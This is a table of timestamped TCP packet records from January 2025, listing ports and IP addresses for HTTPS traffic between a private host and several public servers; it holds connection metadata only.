Jan 15, 2025 15:12:15.856215954 CET	50669	443	192.168.2.7	104.19.230.21
Jan 15, 2025 15:12:15.856224060 CET	443	50669	104.19.230.21	192.168.2.7
Jan 15, 2025 15:12:15.856236935 CET	50669	443	192.168.2.7	104.19.230.21
Jan 15, 2025 15:12:15.856636047 CET	443	50669	104.19.230.21	192.168.2.7
Jan 15, 2025 15:12:15.856654882 CET	443	50669	104.19.230.21	192.168.2.7
Jan 15, 2025 15:12:15.856702089 CET	50669	443	192.168.2.7	104.19.230.21
Jan 15, 2025 15:12:15.856709957 CET	443	50669	104.19.230.21	192.168.2.7
Jan 15, 2025 15:12:15.856723070 CET	50669	443	192.168.2.7	104.19.230.21
Jan 15, 2025 15:12:15.857139111 CET	443	50669	104.19.230.21	192.168.2.7
Jan 15, 2025 15:12:15.857160091 CET	443	50669	104.19.230.21	192.168.2.7
Jan 15, 2025 15:12:15.857196093 CET	50669	443	192.168.2.7	104.19.230.21
Jan 15, 2025 15:12:15.857203007 CET	443	50669	104.19.230.21	192.168.2.7
Jan 15, 2025 15:12:15.857224941 CET	50669	443	192.168.2.7	104.19.230.21
Jan 15, 2025 15:12:15.857659101 CET	443	50669	104.19.230.21	192.168.2.7
Jan 15, 2025 15:12:15.857680082 CET	443	50669	104.19.230.21	192.168.2.7
Jan 15, 2025 15:12:15.857736111 CET	50669	443	192.168.2.7	104.19.230.21
Jan 15, 2025 15:12:15.857744932 CET	443	50669	104.19.230.21	192.168.2.7
Jan 15, 2025 15:12:15.857755899 CET	50669	443	192.168.2.7	104.19.230.21
Jan 15, 2025 15:12:15.858315945 CET	443	50669	104.19.230.21	192.168.2.7
Jan 15, 2025 15:12:15.858336926 CET	443	50669	104.19.230.21	192.168.2.7
Jan 15, 2025 15:12:15.858376026 CET	50669	443	192.168.2.7	104.19.230.21
Jan 15, 2025 15:12:15.858383894 CET	443	50669	104.19.230.21	192.168.2.7
Jan 15, 2025 15:12:15.858407021 CET	50669	443	192.168.2.7	104.19.230.21
Jan 15, 2025 15:12:15.858719110 CET	443	50669	104.19.230.21	192.168.2.7
Jan 15, 2025 15:12:15.858736992 CET	443	50669	104.19.230.21	192.168.2.7
Jan 15, 2025 15:12:15.858786106 CET	50669	443	192.168.2.7	104.19.230.21
Jan 15, 2025 15:12:15.858793974 CET	443	50669	104.19.230.21	192.168.2.7
Jan 15, 2025 15:12:15.858825922 CET	50669	443	192.168.2.7	104.19.230.21
Jan 15, 2025 15:12:15.865684986 CET	50667	443	192.168.2.7	185.225.69.200
Jan 15, 2025 15:12:15.912018061 CET	50669	443	192.168.2.7	104.19.230.21
Jan 15, 2025 15:12:15.945080042 CET	443	50669	104.19.230.21	192.168.2.7
Jan 15, 2025 15:12:15.945108891 CET	443	50669	104.19.230.21	192.168.2.7
Jan 15, 2025 15:12:15.945147038 CET	50669	443	192.168.2.7	104.19.230.21
Jan 15, 2025 15:12:15.945168972 CET	443	50669	104.19.230.21	192.168.2.7
Jan 15, 2025 15:12:15.945189953 CET	50669	443	192.168.2.7	104.19.230.21
Jan 15, 2025 15:12:15.945203066 CET	50669	443	192.168.2.7	104.19.230.21
Jan 15, 2025 15:12:15.945693016 CET	443	50669	104.19.230.21	192.168.2.7
Jan 15, 2025 15:12:15.945713043 CET	443	50669	104.19.230.21	192.168.2.7
Jan 15, 2025 15:12:15.945745945 CET	50669	443	192.168.2.7	104.19.230.21
Jan 15, 2025 15:12:15.945765018 CET	443	50669	104.19.230.21	192.168.2.7
Jan 15, 2025 15:12:15.945785999 CET	50669	443	192.168.2.7	104.19.230.21
Jan 15, 2025 15:12:15.945801973 CET	50669	443	192.168.2.7	104.19.230.21
Jan 15, 2025 15:12:15.945887089 CET	443	50669	104.19.230.21	192.168.2.7
Jan 15, 2025 15:12:15.945904970 CET	443	50669	104.19.230.21	192.168.2.7
Jan 15, 2025 15:12:15.945940971 CET	50669	443	192.168.2.7	104.19.230.21
Jan 15, 2025 15:12:15.945950031 CET	443	50669	104.19.230.21	192.168.2.7
Jan 15, 2025 15:12:15.945975065 CET	50669	443	192.168.2.7	104.19.230.21
Jan 15, 2025 15:12:15.945986032 CET	50669	443	192.168.2.7	104.19.230.21
Jan 15, 2025 15:12:15.946137905 CET	443	50669	104.19.230.21	192.168.2.7
Jan 15, 2025 15:12:15.946171999 CET	443	50669	104.19.230.21	192.168.2.7
Jan 15, 2025 15:12:15.946199894 CET	50669	443	192.168.2.7	104.19.230.21
Jan 15, 2025 15:12:15.946209908 CET	443	50669	104.19.230.21	192.168.2.7
Jan 15, 2025 15:12:15.946237087 CET	50669	443	192.168.2.7	104.19.230.21
Jan 15, 2025 15:12:15.946249962 CET	50669	443	192.168.2.7	104.19.230.21
Jan 15, 2025 15:12:15.946366072 CET	443	50669	104.19.230.21	192.168.2.7
Jan 15, 2025 15:12:15.946391106 CET	443	50669	104.19.230.21	192.168.2.7
Jan 15, 2025 15:12:15.946424007 CET	50669	443	192.168.2.7	104.19.230.21
Jan 15, 2025 15:12:15.946433067 CET	443	50669	104.19.230.21	192.168.2.7
Jan 15, 2025 15:12:15.946456909 CET	50669	443	192.168.2.7	104.19.230.21
Jan 15, 2025 15:12:15.946472883 CET	50669	443	192.168.2.7	104.19.230.21
Jan 15, 2025 15:12:15.946547985 CET	443	50669	104.19.230.21	192.168.2.7
Jan 15, 2025 15:12:15.946568966 CET	443	50669	104.19.230.21	192.168.2.7
Jan 15, 2025 15:12:15.946600914 CET	50669	443	192.168.2.7	104.19.230.21
Jan 15, 2025 15:12:15.946609020 CET	443	50669	104.19.230.21	192.168.2.7
Jan 15, 2025 15:12:15.946631908 CET	50669	443	192.168.2.7	104.19.230.21
Jan 15, 2025 15:12:15.946646929 CET	50669	443	192.168.2.7	104.19.230.21
Jan 15, 2025 15:12:15.947272062 CET	443	50669	104.19.230.21	192.168.2.7
Jan 15, 2025 15:12:15.947289944 CET	443	50669	104.19.230.21	192.168.2.7
Jan 15, 2025 15:12:15.947339058 CET	50669	443	192.168.2.7	104.19.230.21
Jan 15, 2025 15:12:15.947354078 CET	443	50669	104.19.230.21	192.168.2.7
Jan 15, 2025 15:12:15.947375059 CET	50669	443	192.168.2.7	104.19.230.21
Jan 15, 2025 15:12:15.947390079 CET	50669	443	192.168.2.7	104.19.230.21
Jan 15, 2025 15:12:15.947561026 CET	443	50669	104.19.230.21	192.168.2.7
Jan 15, 2025 15:12:15.947577953 CET	443	50669	104.19.230.21	192.168.2.7
Jan 15, 2025 15:12:15.947612047 CET	50669	443	192.168.2.7	104.19.230.21
Jan 15, 2025 15:12:15.947621107 CET	443	50669	104.19.230.21	192.168.2.7
Jan 15, 2025 15:12:15.947649956 CET	50669	443	192.168.2.7	104.19.230.21
Jan 15, 2025 15:12:15.947669983 CET	50669	443	192.168.2.7	104.19.230.21
Jan 15, 2025 15:12:16.045358896 CET	443	50669	104.19.230.21	192.168.2.7
Jan 15, 2025 15:12:16.045392036 CET	443	50669	104.19.230.21	192.168.2.7
Jan 15, 2025 15:12:16.045474052 CET	50669	443	192.168.2.7	104.19.230.21
Jan 15, 2025 15:12:16.045506001 CET	443	50669	104.19.230.21	192.168.2.7
Jan 15, 2025 15:12:16.045550108 CET	50669	443	192.168.2.7	104.19.230.21
Jan 15, 2025 15:12:16.045576096 CET	443	50669	104.19.230.21	192.168.2.7
Jan 15, 2025 15:12:16.045624971 CET	443	50669	104.19.230.21	192.168.2.7
Jan 15, 2025 15:12:16.045639038 CET	50669	443	192.168.2.7	104.19.230.21
Jan 15, 2025 15:12:16.045650005 CET	443	50669	104.19.230.21	192.168.2.7
Jan 15, 2025 15:12:16.045684099 CET	50669	443	192.168.2.7	104.19.230.21
Jan 15, 2025 15:12:16.045694113 CET	50669	443	192.168.2.7	104.19.230.21
Jan 15, 2025 15:12:16.045697927 CET	443	50669	104.19.230.21	192.168.2.7
Jan 15, 2025 15:12:16.045747995 CET	443	50669	104.19.230.21	192.168.2.7
Jan 15, 2025 15:12:16.045785904 CET	50669	443	192.168.2.7	104.19.230.21
Jan 15, 2025 15:12:16.130140066 CET	443	50674	104.18.94.41	192.168.2.7
Jan 15, 2025 15:12:16.144088984 CET	50674	443	192.168.2.7	104.18.94.41
Jan 15, 2025 15:12:16.144109011 CET	443	50674	104.18.94.41	192.168.2.7
Jan 15, 2025 15:12:16.144527912 CET	443	50674	104.18.94.41	192.168.2.7
Jan 15, 2025 15:12:16.148864985 CET	50674	443	192.168.2.7	104.18.94.41
Jan 15, 2025 15:12:16.148932934 CET	443	50674	104.18.94.41	192.168.2.7
Jan 15, 2025 15:12:16.149274111 CET	50674	443	192.168.2.7	104.18.94.41
Jan 15, 2025 15:12:16.195339918 CET	443	50674	104.18.94.41	192.168.2.7
Jan 15, 2025 15:12:16.249011993 CET	50669	443	192.168.2.7	104.19.230.21
Jan 15, 2025 15:12:16.279138088 CET	50667	443	192.168.2.7	185.225.69.200
Jan 15, 2025 15:12:16.279263973 CET	443	50667	185.225.69.200	192.168.2.7
Jan 15, 2025 15:12:16.279330969 CET	50667	443	192.168.2.7	185.225.69.200
Jan 15, 2025 15:12:16.284193039 CET	50669	443	192.168.2.7	104.19.230.21
Jan 15, 2025 15:12:16.284210920 CET	443	50669	104.19.230.21	192.168.2.7
Jan 15, 2025 15:12:16.294540882 CET	443	50674	104.18.94.41	192.168.2.7
Jan 15, 2025 15:12:16.294620037 CET	443	50674	104.18.94.41	192.168.2.7
Jan 15, 2025 15:12:16.294677019 CET	50674	443	192.168.2.7	104.18.94.41
Jan 15, 2025 15:12:16.295134068 CET	50674	443	192.168.2.7	104.18.94.41
Jan 15, 2025 15:12:16.295145035 CET	443	50674	104.18.94.41	192.168.2.7
Jan 15, 2025 15:12:16.306220055 CET	50676	443	192.168.2.7	104.19.229.21
Jan 15, 2025 15:12:16.306263924 CET	443	50676	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:16.306327105 CET	50676	443	192.168.2.7	104.19.229.21
Jan 15, 2025 15:12:16.306540012 CET	50676	443	192.168.2.7	104.19.229.21
Jan 15, 2025 15:12:16.306559086 CET	443	50676	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:16.805603981 CET	443	50676	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:16.806157112 CET	50676	443	192.168.2.7	104.19.229.21
Jan 15, 2025 15:12:16.806165934 CET	443	50676	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:16.807178974 CET	443	50676	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:16.807230949 CET	50676	443	192.168.2.7	104.19.229.21
Jan 15, 2025 15:12:16.808146000 CET	50676	443	192.168.2.7	104.19.229.21
Jan 15, 2025 15:12:16.808207035 CET	443	50676	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:16.808608055 CET	50676	443	192.168.2.7	104.19.229.21
Jan 15, 2025 15:12:16.808614016 CET	443	50676	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:16.859385014 CET	50676	443	192.168.2.7	104.19.229.21
Jan 15, 2025 15:12:16.939476967 CET	443	50676	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:16.939505100 CET	443	50676	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:16.939542055 CET	443	50676	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:16.939575911 CET	443	50676	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:16.939593077 CET	50676	443	192.168.2.7	104.19.229.21
Jan 15, 2025 15:12:16.939618111 CET	443	50676	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:16.939678907 CET	50676	443	192.168.2.7	104.19.229.21
Jan 15, 2025 15:12:16.940056086 CET	443	50676	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:16.940071106 CET	443	50676	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:16.940133095 CET	50676	443	192.168.2.7	104.19.229.21
Jan 15, 2025 15:12:16.940141916 CET	443	50676	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:16.940190077 CET	50676	443	192.168.2.7	104.19.229.21
Jan 15, 2025 15:12:16.944200993 CET	443	50676	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:16.992499113 CET	50676	443	192.168.2.7	104.19.229.21
Jan 15, 2025 15:12:16.992516041 CET	443	50676	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:17.033555984 CET	443	50676	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:17.033615112 CET	50676	443	192.168.2.7	104.19.229.21
Jan 15, 2025 15:12:17.033627033 CET	443	50676	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:17.033632994 CET	443	50676	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:17.033679962 CET	50676	443	192.168.2.7	104.19.229.21
Jan 15, 2025 15:12:17.033688068 CET	443	50676	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:17.033727884 CET	50676	443	192.168.2.7	104.19.229.21
Jan 15, 2025 15:12:17.033732891 CET	443	50676	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:17.034512043 CET	443	50676	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:17.034588099 CET	443	50676	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:17.034626007 CET	50676	443	192.168.2.7	104.19.229.21
Jan 15, 2025 15:12:17.034634113 CET	443	50676	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:17.034694910 CET	443	50676	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:17.034707069 CET	443	50676	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:17.034754992 CET	50676	443	192.168.2.7	104.19.229.21
Jan 15, 2025 15:12:17.034760952 CET	443	50676	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:17.035211086 CET	443	50676	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:17.035227060 CET	443	50676	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:17.035253048 CET	443	50676	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:17.035269976 CET	443	50676	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:17.035275936 CET	50676	443	192.168.2.7	104.19.229.21
Jan 15, 2025 15:12:17.035310030 CET	50676	443	192.168.2.7	104.19.229.21
Jan 15, 2025 15:12:17.035319090 CET	443	50676	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:17.035386086 CET	50676	443	192.168.2.7	104.19.229.21
Jan 15, 2025 15:12:17.036216021 CET	443	50676	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:17.036245108 CET	443	50676	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:17.036277056 CET	443	50676	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:17.036308050 CET	50676	443	192.168.2.7	104.19.229.21
Jan 15, 2025 15:12:17.036314964 CET	443	50676	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:17.036343098 CET	50676	443	192.168.2.7	104.19.229.21
Jan 15, 2025 15:12:17.037059069 CET	443	50676	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:17.037118912 CET	50676	443	192.168.2.7	104.19.229.21
Jan 15, 2025 15:12:17.037126064 CET	443	50676	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:17.083847046 CET	50676	443	192.168.2.7	104.19.229.21
Jan 15, 2025 15:12:17.124078035 CET	443	50676	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:17.124130011 CET	443	50676	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:17.124145031 CET	443	50676	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:17.124206066 CET	443	50676	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:17.124213934 CET	50676	443	192.168.2.7	104.19.229.21
Jan 15, 2025 15:12:17.124233961 CET	443	50676	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:17.124273062 CET	50676	443	192.168.2.7	104.19.229.21
Jan 15, 2025 15:12:17.124301910 CET	443	50676	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:17.124325991 CET	443	50676	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:17.124362946 CET	50676	443	192.168.2.7	104.19.229.21
Jan 15, 2025 15:12:17.124368906 CET	443	50676	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:17.124394894 CET	50676	443	192.168.2.7	104.19.229.21
Jan 15, 2025 15:12:17.124953032 CET	443	50676	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:17.124978065 CET	443	50676	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:17.125026941 CET	50676	443	192.168.2.7	104.19.229.21
Jan 15, 2025 15:12:17.125036001 CET	443	50676	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:17.125041008 CET	50676	443	192.168.2.7	104.19.229.21
Jan 15, 2025 15:12:17.125245094 CET	50676	443	192.168.2.7	104.19.229.21
Jan 15, 2025 15:12:17.125642061 CET	443	50676	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:17.125710011 CET	50676	443	192.168.2.7	104.19.229.21
Jan 15, 2025 15:12:17.125716925 CET	443	50676	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:17.125761986 CET	50676	443	192.168.2.7	104.19.229.21
Jan 15, 2025 15:12:17.125767946 CET	443	50676	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:17.125816107 CET	50676	443	192.168.2.7	104.19.229.21
Jan 15, 2025 15:12:17.126709938 CET	443	50676	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:17.126746893 CET	443	50676	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:17.126784086 CET	50676	443	192.168.2.7	104.19.229.21
Jan 15, 2025 15:12:17.126791000 CET	443	50676	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:17.126820087 CET	50676	443	192.168.2.7	104.19.229.21
Jan 15, 2025 15:12:17.126883030 CET	50676	443	192.168.2.7	104.19.229.21
Jan 15, 2025 15:12:17.127659082 CET	443	50676	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:17.127682924 CET	443	50676	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:17.127747059 CET	50676	443	192.168.2.7	104.19.229.21
Jan 15, 2025 15:12:17.127753019 CET	443	50676	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:17.127779961 CET	50676	443	192.168.2.7	104.19.229.21
Jan 15, 2025 15:12:17.127793074 CET	50676	443	192.168.2.7	104.19.229.21
Jan 15, 2025 15:12:17.128484964 CET	443	50676	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:17.128556967 CET	50676	443	192.168.2.7	104.19.229.21
Jan 15, 2025 15:12:17.128561020 CET	443	50676	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:17.128607035 CET	50676	443	192.168.2.7	104.19.229.21
Jan 15, 2025 15:12:17.128626108 CET	443	50676	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:17.128819942 CET	50676	443	192.168.2.7	104.19.229.21
Jan 15, 2025 15:12:17.206734896 CET	50678	443	192.168.2.7	104.18.95.41
Jan 15, 2025 15:12:17.206770897 CET	443	50678	104.18.95.41	192.168.2.7
Jan 15, 2025 15:12:17.206866026 CET	50678	443	192.168.2.7	104.18.95.41
Jan 15, 2025 15:12:17.207317114 CET	50678	443	192.168.2.7	104.18.95.41
Jan 15, 2025 15:12:17.207328081 CET	443	50678	104.18.95.41	192.168.2.7
Jan 15, 2025 15:12:17.209223986 CET	50676	443	192.168.2.7	104.19.229.21
Jan 15, 2025 15:12:17.214586973 CET	443	50676	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:17.214651108 CET	443	50676	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:17.214652061 CET	50676	443	192.168.2.7	104.19.229.21
Jan 15, 2025 15:12:17.214664936 CET	443	50676	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:17.214715004 CET	50676	443	192.168.2.7	104.19.229.21
Jan 15, 2025 15:12:17.214992046 CET	443	50676	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:17.215035915 CET	443	50676	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:17.215054035 CET	50676	443	192.168.2.7	104.19.229.21
Jan 15, 2025 15:12:17.215059042 CET	443	50676	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:17.215096951 CET	50676	443	192.168.2.7	104.19.229.21
Jan 15, 2025 15:12:17.215111017 CET	50676	443	192.168.2.7	104.19.229.21
Jan 15, 2025 15:12:17.215591908 CET	443	50676	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:17.215632915 CET	443	50676	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:17.215641022 CET	50676	443	192.168.2.7	104.19.229.21
Jan 15, 2025 15:12:17.215646029 CET	443	50676	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:17.215672970 CET	443	50676	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:17.215734959 CET	50676	443	192.168.2.7	104.19.229.21
Jan 15, 2025 15:12:17.215734959 CET	50676	443	192.168.2.7	104.19.229.21
Jan 15, 2025 15:12:17.215740919 CET	443	50676	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:17.216105938 CET	50676	443	192.168.2.7	104.19.229.21
Jan 15, 2025 15:12:17.216336966 CET	443	50676	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:17.216382980 CET	50676	443	192.168.2.7	104.19.229.21
Jan 15, 2025 15:12:17.216855049 CET	443	50676	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:17.216902971 CET	443	50676	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:17.216909885 CET	50676	443	192.168.2.7	104.19.229.21
Jan 15, 2025 15:12:17.216916084 CET	443	50676	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:17.216933012 CET	443	50676	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:17.216973066 CET	50676	443	192.168.2.7	104.19.229.21
Jan 15, 2025 15:12:17.216989994 CET	50676	443	192.168.2.7	104.19.229.21
Jan 15, 2025 15:12:17.216995001 CET	443	50676	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:17.218156099 CET	443	50676	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:17.218204975 CET	50676	443	192.168.2.7	104.19.229.21
Jan 15, 2025 15:12:17.218210936 CET	443	50676	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:17.218338013 CET	443	50676	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:17.218401909 CET	50676	443	192.168.2.7	104.19.229.21
Jan 15, 2025 15:12:17.218406916 CET	443	50676	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:17.218422890 CET	443	50676	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:17.218476057 CET	50676	443	192.168.2.7	104.19.229.21
Jan 15, 2025 15:12:17.218478918 CET	443	50676	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:17.218658924 CET	443	50676	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:17.218671083 CET	443	50676	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:17.218707085 CET	50676	443	192.168.2.7	104.19.229.21
Jan 15, 2025 15:12:17.218718052 CET	443	50676	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:17.218753099 CET	50676	443	192.168.2.7	104.19.229.21
Jan 15, 2025 15:12:17.218771935 CET	443	50676	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:17.218806028 CET	443	50676	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:17.218837976 CET	50676	443	192.168.2.7	104.19.229.21
Jan 15, 2025 15:12:17.218841076 CET	443	50676	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:17.218849897 CET	50676	443	192.168.2.7	104.19.229.21
Jan 15, 2025 15:12:17.218851089 CET	443	50676	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:17.218884945 CET	50676	443	192.168.2.7	104.19.229.21
Jan 15, 2025 15:12:17.219368935 CET	443	50676	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:17.219460011 CET	50676	443	192.168.2.7	104.19.229.21
Jan 15, 2025 15:12:17.219465017 CET	443	50676	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:17.219507933 CET	50676	443	192.168.2.7	104.19.229.21
Jan 15, 2025 15:12:17.219521999 CET	443	50676	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:17.219564915 CET	50676	443	192.168.2.7	104.19.229.21
Jan 15, 2025 15:12:17.305176973 CET	443	50676	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:17.305200100 CET	443	50676	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:17.305283070 CET	50676	443	192.168.2.7	104.19.229.21
Jan 15, 2025 15:12:17.305325031 CET	443	50676	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:17.305391073 CET	50676	443	192.168.2.7	104.19.229.21
Jan 15, 2025 15:12:17.305707932 CET	443	50676	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:17.305747986 CET	443	50676	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:17.305782080 CET	50676	443	192.168.2.7	104.19.229.21
Jan 15, 2025 15:12:17.305797100 CET	443	50676	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:17.305815935 CET	50676	443	192.168.2.7	104.19.229.21
Jan 15, 2025 15:12:17.306113958 CET	443	50676	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:17.306190014 CET	50676	443	192.168.2.7	104.19.229.21
Jan 15, 2025 15:12:17.306200981 CET	443	50676	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:17.306657076 CET	443	50676	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:17.306730032 CET	50676	443	192.168.2.7	104.19.229.21
Jan 15, 2025 15:12:17.306740046 CET	443	50676	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:17.307338953 CET	443	50676	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:17.310086966 CET	50676	443	192.168.2.7	104.19.229.21
Jan 15, 2025 15:12:17.310102940 CET	443	50676	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:17.310142994 CET	443	50676	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:17.310158014 CET	443	50676	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:17.310199022 CET	50676	443	192.168.2.7	104.19.229.21
Jan 15, 2025 15:12:17.310215950 CET	443	50676	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:17.310231924 CET	50676	443	192.168.2.7	104.19.229.21
Jan 15, 2025 15:12:17.310745955 CET	443	50676	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:17.310826063 CET	50676	443	192.168.2.7	104.19.229.21
Jan 15, 2025 15:12:17.310842991 CET	443	50676	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:17.311280966 CET	443	50676	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:17.311296940 CET	443	50676	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:17.311352015 CET	50676	443	192.168.2.7	104.19.229.21
Jan 15, 2025 15:12:17.311366081 CET	443	50676	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:17.311381102 CET	50676	443	192.168.2.7	104.19.229.21
Jan 15, 2025 15:12:17.311666012 CET	443	50676	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:17.311685085 CET	443	50676	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:17.311724901 CET	50676	443	192.168.2.7	104.19.229.21
Jan 15, 2025 15:12:17.311739922 CET	443	50676	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:17.311753988 CET	50676	443	192.168.2.7	104.19.229.21
Jan 15, 2025 15:12:17.312082052 CET	50676	443	192.168.2.7	104.19.229.21
Jan 15, 2025 15:12:17.396061897 CET	443	50676	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:17.396150112 CET	50676	443	192.168.2.7	104.19.229.21
Jan 15, 2025 15:12:17.396169901 CET	443	50676	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:17.396194935 CET	443	50676	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:17.396219015 CET	50676	443	192.168.2.7	104.19.229.21
Jan 15, 2025 15:12:17.396565914 CET	443	50676	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:17.396583080 CET	443	50676	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:17.396636963 CET	50676	443	192.168.2.7	104.19.229.21
Jan 15, 2025 15:12:17.396651983 CET	443	50676	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:17.396675110 CET	50676	443	192.168.2.7	104.19.229.21
Jan 15, 2025 15:12:17.397082090 CET	443	50676	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:17.397097111 CET	443	50676	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:17.397155046 CET	50676	443	192.168.2.7	104.19.229.21
Jan 15, 2025 15:12:17.397176981 CET	443	50676	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:17.397191048 CET	50676	443	192.168.2.7	104.19.229.21
Jan 15, 2025 15:12:17.397456884 CET	443	50676	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:17.397474051 CET	443	50676	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:17.397515059 CET	50676	443	192.168.2.7	104.19.229.21
Jan 15, 2025 15:12:17.397530079 CET	443	50676	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:17.397547007 CET	50676	443	192.168.2.7	104.19.229.21
Jan 15, 2025 15:12:17.397869110 CET	443	50676	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:17.397885084 CET	443	50676	104.19.229.21	192.168.2.7
